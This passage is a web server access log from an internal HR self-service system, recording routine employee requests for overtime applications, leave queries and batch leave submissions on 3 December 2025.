HTTP/1.1" 200 31 192.168.11.146 - - [03/Dec/2025:18:27:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [03/Dec/2025:18:27:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.146 - - [03/Dec/2025:18:27:35 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:35 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AB%8B%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%B0%BD%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.11.71 - - [03/Dec/2025:18:27:36 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5323967565446155 HTTP/1.1" 200 10638 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5323967565446155" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:27:36 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5323967565446155 HTTP/1.1" 200 10638 192.168.11.146 - - [03/Dec/2025:18:27:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.11.146 - - [03/Dec/2025:18:27:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [03/Dec/2025:18:27:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.71 - - [03/Dec/2025:18:27:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7631571463706381 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:27:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7631571463706381 HTTP/1.1" 200 8456 192.168.11.146 - - [03/Dec/2025:18:27:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41256 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41256 192.168.11.146 - - [03/Dec/2025:18:27:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 33012 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 33012 192.168.11.146 - - [03/Dec/2025:18:27:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.11.146 - - [03/Dec/2025:18:27:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166080 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:27:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166080 192.168.11.146 - - [03/Dec/2025:18:27:58 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.11.146 - - [03/Dec/2025:18:27:58 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:27:58 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7631571463706381 HTTP/1.1" 200 9773 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7631571463706381" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:27:58 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7631571463706381 HTTP/1.1" 200 9773 192.168.12.64 - - [03/Dec/2025:18:28:05 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [03/Dec/2025:18:28:05 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.11.146 - - [03/Dec/2025:18:28:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6465 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:28:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6465 192.168.11.146 - - [03/Dec/2025:18:28:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 64654 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [03/Dec/2025:18:28:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA013&appdesc=%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 64654 192.168.11.71 - - [03/Dec/2025:18:28:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7631571463706381 HTTP/1.1" 200 10639 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7631571463706381" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:28:15 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7631571463706381 HTTP/1.1" 200 10639 192.168.11.71 - - [03/Dec/2025:18:28:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4417 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:28:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4417 192.168.12.46 - - [03/Dec/2025:18:37:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:37:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:18:37:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:37:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 41023 192.168.12.46 - - [03/Dec/2025:18:40:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 95406 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:40:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 95406 192.168.12.46 - - [03/Dec/2025:18:42:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:42:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:18:44:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.467623800449699 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:44:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.467623800449699 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:18:44:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.467623800449699 HTTP/1.1" 200 18791 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.467623800449699" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:44:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.467623800449699 HTTP/1.1" 200 18791 192.168.12.46 - - [03/Dec/2025:18:44:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:44:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 192.168.12.46 - - [03/Dec/2025:18:44:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:44:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:18:45:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7556694586836521 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:45:23 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7556694586836521 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:18:45:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7556694586836521 HTTP/1.1" 200 18802 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7556694586836521" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:45:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7556694586836521 HTTP/1.1" 200 18802 192.168.12.46 - - [03/Dec/2025:18:45:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4219 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:45:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4219 192.168.12.46 - - [03/Dec/2025:18:45:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:45:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:18:46:17 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9434152766408547 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:46:17 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9434152766408547 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:18:46:25 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9434152766408547 HTTP/1.1" 200 18804 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9434152766408547" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:46:25 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9434152766408547 HTTP/1.1" 200 18804 192.168.12.46 - - [03/Dec/2025:18:47:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4223 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:47:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4223 192.168.12.46 - - [03/Dec/2025:18:47:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:47:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [03/Dec/2025:18:47:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:47:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.11.71 - - [03/Dec/2025:18:48:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 15008 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:48:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 15008 192.168.12.46 - - [03/Dec/2025:18:48:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9013813673994137 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:48:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9013813673994137 HTTP/1.1" 200 16608 192.168.11.71 - - [03/Dec/2025:18:48:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 29802 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:48:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 29802 192.168.11.71 - - [03/Dec/2025:18:48:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [03/Dec/2025:18:48:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 192.168.12.46 - - [03/Dec/2025:18:48:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9013813673994137 HTTP/1.1" 200 17927 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9013813673994137" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:18:48:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9013813673994137 HTTP/1.1" 200 17927 192.168.11.71 - - 